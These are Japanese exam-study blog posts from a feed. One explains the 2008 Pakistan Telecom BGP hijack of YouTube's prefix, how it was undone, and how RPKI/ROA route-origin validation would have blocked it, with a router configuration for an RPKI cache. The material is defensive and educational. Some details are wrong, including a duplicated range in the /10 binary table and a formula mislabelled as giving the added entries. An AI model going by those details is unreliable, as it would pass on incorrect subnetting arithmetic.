<p class="wp-block-paragraph"><strong>1. フィルタ未設定による「ルートリーク（経路の誤流出）」</strong><br>BGPの設定手順は、コマンドの構造上「相手と繋ぐ設定（<code>neighbor</code>）」を投入した後に、「外に流す経路を絞り込む設定（<code>prefix-list</code>や<code>route-map</code>）」を書き込む流れになる。<br>即時接続させてしまうと、絞り込み<span class="bold-blue">設定を打ち込むまでのわずか数十秒</span>の間に、社内ネットワークの不要な経路が外部（D社網）へ一気に漏洩（リーク）する。流出した経路の量によっては、D社側のルータの防御機能（Prefix Limit）が作動し、回線を自動遮断される恐れがある</p>



<p class="wp-block-paragraph"><strong>2. 接続の不整合による「ブラックホール（パケット吸い込み・破棄）」</strong><br>たとえば、先に「R13 ⇔ R14（WAN側）」のBGPだけが繋がり、「R13 ⇔ R11（社内iBGP）」の設定がまだ完了していない時間が発生したとする。</p>



<ul class="wp-block-list">
<li><strong>行き</strong>：D社側（R14）は「R13経由でA社に行ける」と認識し、データ（パケット）をどんどん送り込んできます。</li>



<li><strong>戻り</strong>：しかしR13側は、社内のR11との連携（iBGP）がまだできていないため、届いたパケットを社内へ流せず、そのまま捨ててしまう（通信断）。</li>
</ul>



<p class="wp-block-paragraph"><strong>3. 経路のバタつき（フラッピング）による既存通信の瞬断</strong><br>4台のルータがバラバラのタイミングでBGPを繋ぎ始めると、各ルータは不完全な情報をもとに「どのルートが最適か」を何度も再計算する。その結果、現在正常に動いている「R11 ⇔ R12」の既存ルートまで経路が頻繁に切り替わり（フラッピング）、現在稼働中の業務通信に遅延やパケットロスなどの悪影響を与えてしまう。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>BGPハイジャック事件　-Youtube通信を占拠する方法</title>
		<link>https://ascend-beyond.com/study/8178/</link>
		
		<dc:creator><![CDATA[管理人]]></dc:creator>
		<pubDate>Tue, 15 Sep 2026 12:10:05 +0000</pubDate>
				<category><![CDATA[Study]]></category>
		<category><![CDATA[ネスペ]]></category>
		<guid isPermaLink="false">https://ascend-beyond.com/?p=8178</guid>

					<description><![CDATA[概要 事件の背景（何が起きたのか？） 登場する重要単語・技術 この「誤ったBGP広告を信用して広めてしまった」対策として登場するキーワードが以下の３つ。 なぜRPKI/ROAがあれば防げたのか？ 上位プロバイダ（PCCW [&#8230;]]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading"><span id="toc1">概要</span></h2>



<h3 class="wp-block-heading"><span id="toc2">事件の背景（何が起きたのか？）</span></h3>



<ol start="1" class="wp-block-list">
<li><strong>YouTubeのブロック試み</strong>：パキスタン政府の命令で、国内プロバイダ（パキスタン・テレコム）が自国内でYouTubeを見られないよう、YouTubeのIPアドレス帯（<code>/24</code>）に対する「偽の経路（ブラックホール経路）」を内部で作った。</li>



<li><strong>誤広告（BGPハイジャック）</strong>：その偽の経路情報を、誤って上位プロバイダ（PCCW）へBGPで広告してしまった。</li>



<li><strong>世界中へ拡散</strong>：BGPは「より細かいPrefix（<code>/24</code>）の経路を優先する」というルールがあるため、世界中のインターネットトラフィックがYouTubeの本物サーバーではなくパキスタンへ集中し、YouTubeが世界中でダウンした。</li>
</ol>



<h3 class="wp-block-heading"><span id="toc3">登場する重要単語・技術</span></h3>



<p class="wp-block-paragraph">この「誤ったBGP広告を信用して広めてしまった」対策として登場するキーワードが以下の３つ。</p>



<ul class="wp-block-list">
<li><strong>IRR（Internet Routing Registry）</strong>
<ul class="wp-block-list">
<li>各AS（プロバイダ等）が「自分がどのIPアドレス帯を広報する権利を持っているか」を登録しておくデータベース。</li>



<li><strong>限界</strong>：誰でも登録できるなど認証が甘く、偽装を完全には防げなかった。</li>
</ul>
</li>



<li><strong>RPKI（Resource Public Key Infrastructure）</strong>
<ul class="wp-block-list">
<li>IRRの弱点を補うために作られた「暗号技術（電子署名）を使ったBGP経路の認証基盤」。</li>



<li>APNICやJPNICなどの地域インターネットレジストリ（RIR）が発行する証明書を使って、IPアドレスの所有権を証明します。</li>
</ul>
</li>



<li><strong>ROA（Route Origin Authorization）</strong>
<ul class="wp-block-list">
<li>RPKIの仕組みの中で作成される「経路証明書」データのこと。</li>



<li>「このIPアドレス帯（例：<code>208.65.152.0/22</code>）を広告して良いのは、ASXXXX（YouTube）だけである」という正しいペアを電子署名付きで定義します。</li>
</ul>
</li>
</ul>



<h3 class="wp-block-heading"><span id="toc4">なぜRPKI/ROAがあれば防げたのか？</span></h3>



<p class="wp-block-paragraph">上位プロバイダ（PCCW等）が <strong>RPKI Validation（ROV: Route Origin Validation）</strong> を導入していれば：</p>



<ol start="1" class="wp-block-list">
<li>パキスタンから「YouTubeのIPアドレス」のBGP広告が届く。</li>



<li>RPKIデータベースと照合し、「このIPを広告して良いのはYouTubeのASだけで、パキスタンのASは許可されていない（<strong>Invalid</strong>）」と即座に判別できる。</li>



<li>誤ったBGP広告をその場で破棄（Drop）できたため、世界中へ被害が広がるのを防げた。</li>
</ol>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<h2 class="wp-block-heading"><span id="toc5">さらに深いVersion&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;</span></h2>



<h3 class="wp-block-heading"><span id="toc6">Q.そもそも、どうやって偽の経路を作るの？</span></h3>



<figure class="wp-block-image size-large wp-duotone-333333-f3fafe-1"><img decoding="async" width="1024" height="120" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-45-1024x120.png" alt="" class="wp-image-8181" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-45-1024x120.png 1024w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-45-300x35.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-45-766x90.png 766w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-45.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">A.「通常のスタティックルートとBGPの再配送（アナウンス）」の設定によって偽の経路を作っていた。</p>



<p class="wp-block-paragraph"><strong>▼パキスタンが実際に行った「偽の経路」の作り方</strong><br>パキスタン・テレコムは、RTBHやFlowspecなどのセキュリティ技術を使ったわけではなく、ルーターの「通常のスタティックルートとBGPの再配送（アナウンス）」の設定ミスをやらかした。</p>



<p class="wp-block-paragraph"><strong>１．国内向けの破棄設定（Null 0行き）をルーターに入れる<br></strong><span class="fz-16px">・パキスタン政府から「YouTubeをブロックしろ」と言われたエンジニアは、国内のユーザーがYouTubeに行けないようにするため、パキスタン・テレコムの国境ルーターに次のような設定を入れた。<br>・「<code>208.65.152.0/24</code>（YouTubeのIP）宛てのパケットが来たら、すべて <code>Null 0</code>（ゴミ箱・破棄）に送れ<br>・（※これにより、パキスタン国内のルーターにとっては、YouTube宛ての通信は自社内で消滅する「ブラックホール」になった）</span></p>



<p class="wp-block-paragraph">👆これはIGP（OSPFやIS-ISなど）によって、Null経路が配られていた。末端のルータがYoutube宛てを受信すると、Null経路を持っている当該ルータへ運んでいた。すべてのルータにYoutube宛ては自身のルータ内でNullで破棄して！というわけではない。</p>



<p class="wp-block-paragraph"><strong>２．その「破棄用の経路」を、あろうことか外（BGP）に広告してしまった</strong><br><span class="fz-16px">・本来、この <code>Null 0</code> 行きのルートはルーターの内部だけで使うもの（外部に教えてはいけないもの）。<br>・しかし、設定ミスかテストの意図で、パキスタン・テレコムはこの「YouTubeの経路はうち（AS17557）にあるよ！」という情報を、通常のBGPの経路情報（NLRI）としてそのまま上位プロバイダ（PCCW）に流して（アナウンスして）しまった。</span></p>



<p class="wp-block-paragraph">👆再配布のミス！IGPで広告していたNull経路をAS外にもフィルタリングを怠ったせいで広告してしまった。それによって、インターネットに広がってしまった。</p>



<p class="wp-block-paragraph"><strong>３．世界中がそれを「本物の道」と勘違いした</strong><br><span class="fz-16px">・上位プロバイダから見れば、送られてきたBGP情報は「普通のYouTubeへの経路」に見える。<br>・そのため、「YouTubeの細かいプレフィックス（<code>/24</code>）の道がパキスタンから来たちょっと近道だ！」と世界中のルーターが勘違いし、世界中のYouTube宛て通信がパキスタンテレコムへ向かって吸い寄せられてしまった。</span></p>



<p class="wp-block-paragraph">👆当時、Youtubeは/22で運用されていた。これは正規のプロバイダから取得した正規のアドレス範囲。一方、パキスタンテレコムの/24はNull用のダミーの広告だが、当時は広告の正当性を確認するプロセスがおざなりであったため、論ゲストマッチの原則に基づき、より長いプレフィックスをもつパキスタンのダミー経路が優先されてしまった。</p>



<h3 class="wp-block-heading"><span id="toc7">Q.どうやって復旧させたの？</span></h3>



<p class="wp-block-paragraph">A.この2008年の事件の最もドラマチックなところは、「パニックになったパキスタン側がすぐにミスに気づいて自主的に直してくれなかった」という点にある。そのため、被害が拡大する中でYouTube自身が驚きの「カウンター攻撃」に出て事態を収束させた。</p>



<p class="wp-block-paragraph"><strong>▼実際の復旧・解決までのプロセス</strong><br>パキスタン・テレコム側はパニックや連絡の不備もあり、すぐに誤った広告を引っ込められなかった。そこで、被害を直接受けていたYouTube（Google）側が次のような<strong>ウルトラCの対抗措置</strong>を取った。</p>



<p class="wp-block-paragraph"><strong>１．YouTube側が「さらに細かいプレフィックス（<code>/25</code>）」で対抗広告を出した</strong><br><span class="fz-16px">・パキスタンが流していたのは <code>/24</code> 。<br>・これに対抗するため、YouTubeはさらに細かく分割した <code>/25</code>（<code>/24</code> の半分のサイズ） の正当な経路情報を世界に向けて急遽広告した。</span></p>



<p class="wp-block-paragraph"><strong>２．ロンゲストマッチによる奪還</strong><br><span class="fz-16px">・BGPの「より長いプレフィックスを優先する」という鉄則を利用し、パキスタンの <code>/24</code> よりもさらに細かい YouTube自身の <code>/25</code> の方を世界中のルーターに最優先させた。<br>・これにより、世界中のトラフィックが強烈に本物のYouTubeへと引き戻された。</span></p>



<p class="wp-block-paragraph"><strong>３．上位ISPによる強制遮断</strong><br><span class="fz-16px">・その後、香港の上位プロバイダ（PCCW）が事態を重く見て、パキスタン・テレコムからの不正な広告を強制的に削除（Withdraw）したことで、約2時間越しに完全に幕を閉じた。</span></p>



<h3 class="wp-block-heading"><span id="toc8">Q.プレフィックスを大きくするとどうなるの？</span></h3>



<figure class="wp-block-image size-large wp-duotone-333333-f3fafe-2"><img decoding="async" width="1024" height="175" src="https://ascend-beyond.com/wp-content/uploads/2026/09/image-46-1024x175.png" alt="" class="wp-image-8182" srcset="https://ascend-beyond.com/wp-content/uploads/2026/09/image-46-1024x175.png 1024w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-46-300x51.png 300w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-46-763x130.png 763w, https://ascend-beyond.com/wp-content/uploads/2026/09/image-46.png 1200w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="wp-block-paragraph">プレフィックスを大きくするとどうなるのか。。。大きくして対応できるなら、なぜ最初から/25で広告しなかったのか？<br>A.プレフィックスを大きくすると、広告するエントリー数が増大する。そのため可能な限りプレフィックスは小さめにして広告したいが、そうするとパキスタン側に負けてしまうので、ウルトラCとしてプレフィックスを大きくした</p>



<h4 class="wp-block-heading"><span id="toc9">▼具体例</span></h4>



<p class="wp-block-paragraph">例えば、10.0.0.0/8という１つの広告を10.0.0.0/9にする場合は何個のプレフィックスになるのか？</p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="10.0.0.0/8 →①10.0.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111


10.0.0.0/9 →①10.0.0.0 ~ 10.127.255.255 / ②10.128.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.01111111.11111111.11111111
00001010.10000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111


10.0.0.0/10 →①10.0.0.0 ~ 10.63.255.255 / ②10.64.0.0 ~ 10.127.255.255 / ③10.128.0.0 ~ 10.191.255.255 / ④10.192.0.0 ~ 10.255.255.255
00001010.00000000.00000000.00000000 ~ 00001010.00111111.11111111.11111111
00001010.00000000.00000000.00000000 ~ 00001010.01111111.11111111.11111111
00001010.10000000.00000000.00000000 ~ 00001010.10111111.11111111.11111111
00001010.11000000.00000000.00000000 ~ 00001010.11111111.11111111.11111111" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #A6E22E">10.0.0.0/8</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">→①10.0.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.255</span><span style="color: #E6DB74">.255.255</span></span>
<span class="line"><span style="color: #A6E22E">00001010.00000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.11111111.11111111.11111111</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">10.0.0.0/9</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">→①10.0.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.127</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">②10.128.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.255</span><span style="color: #E6DB74">.255.255</span></span>
<span class="line"><span style="color: #A6E22E">00001010.00000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.01111111.11111111.11111111</span></span>
<span class="line"><span style="color: #A6E22E">00001010.10000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.11111111.11111111.11111111</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line"><span style="color: #A6E22E">10.0.0.0/10</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">→①10.0.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.63</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">②10.64.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.127</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">③10.128.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.191</span><span style="color: #E6DB74">.255.255</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">/</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">④10.192.0.0</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.255</span><span style="color: #E6DB74">.255.255</span></span>
<span class="line"><span style="color: #A6E22E">00001010.00000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.00111111.11111111.11111111</span></span>
<span class="line"><span style="color: #A6E22E">00001010.00000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.01111111.11111111.11111111</span></span>
<span class="line"><span style="color: #A6E22E">00001010.10000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.10111111.11111111.11111111</span></span>
<span class="line"><span style="color: #A6E22E">00001010.11000000.00000000.00000000</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">~</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">00001010</span><span style="color: #E6DB74">.11111111.11111111.11111111</span></span></code></pre></div>



<p class="wp-block-paragraph">以上のように、プレフィックスが小さくなるほど、集約できるアドレス数も減ってしまう。その結果より多くのエントリーを登録することになる。</p>



<h4 class="wp-block-heading"><span id="toc10">▼プレフィックスが増大した時のエントリ数が何個になるかの計算方法</span></h4>



<p class="wp-block-paragraph"><span class="fz-22px"><strong>増えた分のエントリ数＝２<sup>（変更後のプレフィックス長-変更前のプレフックス長）</sup></strong></span></p>



<p class="wp-block-paragraph">例１：/8 から /10 にした場合<br>2<sup>(10-8)</sup>=4<br><br>例２：22/ から /25 にした場合<br>2(25-22)=8</p>



<h3 class="wp-block-heading"><span id="toc11">Q.RPKI（ResourcePublicKeyInfrastracture）とは？</span></h3>



<p class="wp-block-paragraph">RPKIを一言で言うと「このIPアドレスは、本当に<span class="blue">このプロバイダ（AS）が名乗っていいものか？</span>」を暗号学的な<span class="blue">デジタル証明書</span>で証明・検証する仕組み。従来のBGPには「身分証の確認プロセス」がなかったため、誰でも「うちはYouTubeの経路を持っているぞ！」と嘘（あるいは間違い）を言えてしまう。そこに「身分証（証明書）」を導入するのがRPKI。</p>



<h4 class="wp-block-heading"><span id="toc12">▼RPKIの全体フロー（証明書はどうなっていて、動検証するのか？）</span></h4>



<p class="wp-block-paragraph"><strong>1. 事前準備：ROA（証明書）の登録と保管</strong><br><span class="fz-16px">・<strong>誰が作るの？</strong>：IPアドレスの正当な持ち主（例：YouTube）が、地域インターネットレジストリ（APNICなど）を通じて「我が社はこのAS番号でこのプレフィックスを広告してよい」という証明書（<span class="bold-blue"><span class="blue">ROA</span>：RouteOriginAuthorization</span>）を発行してもらう。<br>・<strong>どこに保管されるの？</strong>：このROA（証明書データ）は、インターネット上にある「<span class="bold-blue"><span class="blue">RPKIリポジトリ</span>（公開サーバー）</span>」という専用のデータベースに、常に誰でもダウンロードできる状態で保管されます。</span></p>



<p class="wp-block-paragraph"><strong>2. ルーター側の準備：キャッシュサーバーとの連携（ここがポイント！）</strong><br><span class="fz-16px">・個々のルーターが直接インターネット上のリポジトリから1つずつ証明書を都度ダウンロード・検証しているわけではない！<br>・<span class="blue">キャッシュサーバー</span>（RPKI Validatorなど）と呼ばれる専用のサーバーが、インターネット上のRPKIリポジトリからすべての正当なROA（証明書の一覧）をあらかじめ一括でダウンロードし、手元にキャッシュ（保存）しておく。</span><br><span class="fz-16px">・ルーターは、そのキャッシュサーバーから定期的に「正当な証明書のリスト」を受け取って手元に持っておく</span></p>



<div class="wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers" data-code-block-pro-font-family="Code-Pro-JetBrains-Mono" style="font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#F8F8F2;--cbp-line-number-width:calc(1 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)"><span style="display:flex;align-items:center;padding:10px 0px 10px 16px;margin-bottom:-2px;width:100%;text-align:left;background-color:#34362e;color:#efefe1">ShellScript</span><span role="button" tabindex="0" data-code="#キャッシュサーバとの接続設定社内に置いたキャッシュサーバー（例: 10.0.0.50）とポート323（または3323など）で接続する
router bgp 65001
  bgp rpki server tcp 10.0.0.50 port 3323 refresh 300
  
#ルーターがちゃんとキャッシュサーバーから証明書を受け取れているか確認
Router# show ip bgp rpki servers" style="color:#F8F8F2;display:none" aria-label="Copy" class="code-block-pro-copy-button"><svg xmlns="http://www.w3.org/2000/svg" style="width:24px;height:24px" fill="none" viewBox="0 0 24 24" stroke="currentColor" stroke-width="2"><path class="with-check" stroke-linecap="round" stroke-linejoin="round" d="M4.5 12.75l6 6 9-13.5"></path><path class="without-check" stroke-linecap="round" stroke-linejoin="round" d="M16.5 8.25V6a2.25 2.25 0 00-2.25-2.25H6A2.25 2.25 0 003.75 6v8.25A2.25 2.25 0 006 16.5h2.25m8.25-8.25H18a2.25 2.25 0 012.25 2.25V18A2.25 2.25 0 0118 20.25h-7.5A2.25 2.25 0 018.25 18v-1.5m8.25-8.25h-6a2.25 2.25 0 00-2.25 2.25v6"></path></svg></span><pre class="shiki monokai" style="background-color: #272822" tabindex="0"><code><span class="line"><span style="color: #88846F">#キャッシュサーバとの接続設定社内に置いたキャッシュサーバー（例: 10.0.0.50）とポート323（または3323など）で接続する</span></span>
<span class="line"><span style="color: #A6E22E">router</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">65001</span></span>
<span class="line"><span style="color: #F8F8F2">  </span><span style="color: #A6E22E">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">rpki</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">server</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">tcp</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">10.0</span><span style="color: #E6DB74">.0.50</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">port</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">3323</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">refresh</span><span style="color: #F8F8F2"> </span><span style="color: #AE81FF">300</span></span>
<span class="line"><span style="color: #F8F8F2">  </span></span>
<span class="line"><span style="color: #88846F">#ルーターがちゃんとキャッシュサーバーから証明書を受け取れているか確認</span></span>
<span class="line"><span style="color: #A6E22E">Router#</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">show</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">ip</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">bgp</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">rpki</span><span style="color: #F8F8F2"> </span><span style="color: #E6DB74">servers</span></span></code></pre></div>



<p class="wp-block-paragraph"><span class="fz-16px">＊キャッシュサーバは基本的に社内に配置する。で、ルータはそのキャッシュからROIを検索する<br>＊キャッシュサーバーが世界中から複雑な証明書（ROA）を集めて複雑な暗号検証をすべて肩代わりし、「このIPとこのASの組み合わせは Valid（有効）」というシンプルな判定用リスト（軽量化されたデータ）だけを、定期的にルーターに配給（同期）している</span></p>



<p class="wp-block-paragraph"><strong>3. 実際のBGP受信と検証のフロー</strong><br>ここで、隣のルーター（ネイバー）からBGPの経路情報が流れてくる。<br>①<strong>BGP経路の受信</strong><br><span class="fz-16px">　・ネイバーから「このIPアドレス（<code>/24</code>など）を、このAS番号が持っているよ」という通常のBGP経路情報が届く。（※ここには証明書はくっついていない！ただの経路の文字情報）</span><br>②<strong>手元のリスト（キャッシュ）と突合する</strong><br><span class="fz-16px">　・ルーターは、受け取った経路情報の <strong>「IPプレフィックス」</strong> と <strong>「広告してきたAS番号」</strong> を取り出す。<br>　・そして、あらかじめ手元に持っているROA（証明書のリスト）と照らし合わせる。</span><br><strong>③暗号学的な検証（バリデーション）</strong><br><span class="fz-16px">　・「手元の証明書リストの中に、このAS番号がこのIPを広告してよいというデータ（電子署名付き）は存在するか？」をチェックする。<br>　・署名の正当性（改ざんされていないかなど）は、証明書を発行した上位機関の公開鍵を使って数学的に検証される。</span><br><span class="fz-16px">　＊なお、署名の正当性は事前にキャッシュサーバが肩代わりしてくれているので、ルータはリストへの有無を見ればいいだけ。<br></span><strong>④判定（Valid / NotFound / Invalid）</strong><br><span class="fz-16px">　・一致する正当な証明書があれば <strong>Valid（有効）</strong>。<br>　・リストになければ <strong>NotFound</strong>。<br>　・範囲やAS番号に矛盾があれば <strong>Invalid（無効：偽物・ミス）</strong> として、自動的にその場で破棄する。</span></p>



<p class="wp-block-paragraph"></p>



<h3 class="wp-block-heading"><span id="toc13">Q.ROA(RouteOriginAuthorization)の取得～検証のフローは？</span></h3>



<p class="wp-block-paragraph">ROAの取得では、WebのSSL/TLS証明書（Let&#8217;s Encryptなど）でよくある「その場しのぎのファイルを置く」のではなく、「インターネットの公的な階層構造（レジストリ）そのものを使って正当性を証明する」という仕組みになっている。<br><strong>▼取得～検証フロー</strong><br><span class="fz-20px"><strong>1. ROA（証明書）の取得・発行フロー</strong><br></span><span class="fz-16px">Webの証明書発行（CSRを生成して…という手順）とは異なり、ROAは「IPアドレスの割り当てを受けている公的な組織のポータルサイト」で直接作成・発行する。</span></p>



<ol start="1" class="wp-block-list">
<li><strong>IPアドレスの正規の割り当てを受けていることの証明</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">大前提として、そのIPアドレスブロックは、APNIC（アジア太平洋地域）やJPNICなどの上位レジストリから、正規にお金を払って割り当てを受けている自社のリソースである必要がある。</span></li>
</ul>
</li>



<li><strong>証明書発行機関（LIR / NIR）のポータルへログイン</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">自社が管理するIPアドレスを管理しているレジストリ（日本であればJPNIC経由、または上位のLIR/ISP）の<span class="bold-blue">専用管理ポータル</span>にログインする。</span><br><span class="fz-16px">＊管理ポータルにログインしたユーザとIPアドレスはバックエンドで対応づけられているので、このポータル内で偽のIPのROAを要求することはできない。</span></li>
</ul>
</li>



<li><strong>ROAの発行申請（パラメータの入力）</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">ポータル画面で、以下の情報を指定して「この内容で証明書を作ってくれ」と申請。</span>
<ul class="wp-block-list">
<li><span class="fz-16px"><span class="bold-blue">対象のIPプレフィックス</span>（例: <code>208.65.152.0/22</code>）</span></li>



<li><span class="fz-16px"><span class="bold-blue">許可する最大プレフィックス長</span>（例: <code>/24</code> までなら分割して広告してもいいよ、という上限）</span></li>



<li><span class="fz-16px"><span class="bold-blue">広告を許可するAS番号</span>（例: <code>AS15169</code>）</span></li>
</ul>
</li>
</ul>
</li>



<li><strong>RPKIリポジトリへの自動登録</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">申請ボタンを押すと、レジストリ側のシステムが電子署名（デジタル証明書＝ROA）を自動生成し、インターネット上に公開されている公式の <strong><span class="bold-blue">RPKIリポジトリ（公開サーバー群）</span></strong> に自動で登録されます。</span></li>



<li><span class="fz-16px">（※ここで「私たちがこのIPをこのASに広告させていいという証明書」が世の中に誕生する）</span></li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"><strong><span class="fz-20px">2. ルーター（キャッシュサーバー）側での検証フロー</span></strong><br><span class="fz-16px">世の中に公開されたROA（証明書）を、キャッシュサーバーがどうやって拾って検証するのか、おさらいも含めて全体の流れ</span>。</p>



<ol start="1" class="wp-block-list">
<li><strong>キャッシュサーバーが証明書を回収</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">社内のキャッシュサーバー（Validator）が、インターネット上の公的<span class="bold-blue">RPKIリポジトリ</span>から、世界中の正当な<span class="bold-blue">ROA</span>ファイルを定期的に一括ダウンロード。</span></li>
</ul>
</li>



<li><strong>暗号学的な検証（ここで公開鍵が使われる）</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">「公開鍵による検証」はまさにここで行われる。</span></li>



<li><span class="fz-16px">キャッシュサーバーは、ダウンロードしたROAに付いている「電子署名」を、上位のレジストリが持つ「<span class="bold-blue">公開鍵</span>」を使って数学的に検証する。「途中で改ざんされていないか」「有効期限内か」「本当に正当な機関が発行した証明書か」をここで厳しくチェックする。</span></li>
</ul>
</li>



<li><strong>安全なリスト（VRP）の作成</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">検証に合格した「安全な証明書データ」だけを綺麗に整理し、<span class="bold-blue">合格リスト（VRP：Valid ROA Payload）</span>としてキャッシュサーバー内に保持する。</span></li>
</ul>
</li>



<li><strong>ルーターでの突合判定</strong>
<ul class="wp-block-list">
<li><span class="fz-16px">ルーターはキャッシュサーバーからその合格リストを受け取っておき、ネイバーから新しいBGP経路（IPとAS番号）が届くたびにリストと突合し、「Valid（合格）」か「Invalid（不合格・偽物）」かを一瞬で判断する。</span></li>
</ul>
</li>
</ol>



<p class="wp-block-paragraph"></p>



<p class="wp-block-paragraph"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>令和6年（2024年）ネスペ午後Ⅰ　問Ⅲ　解答解説</title>
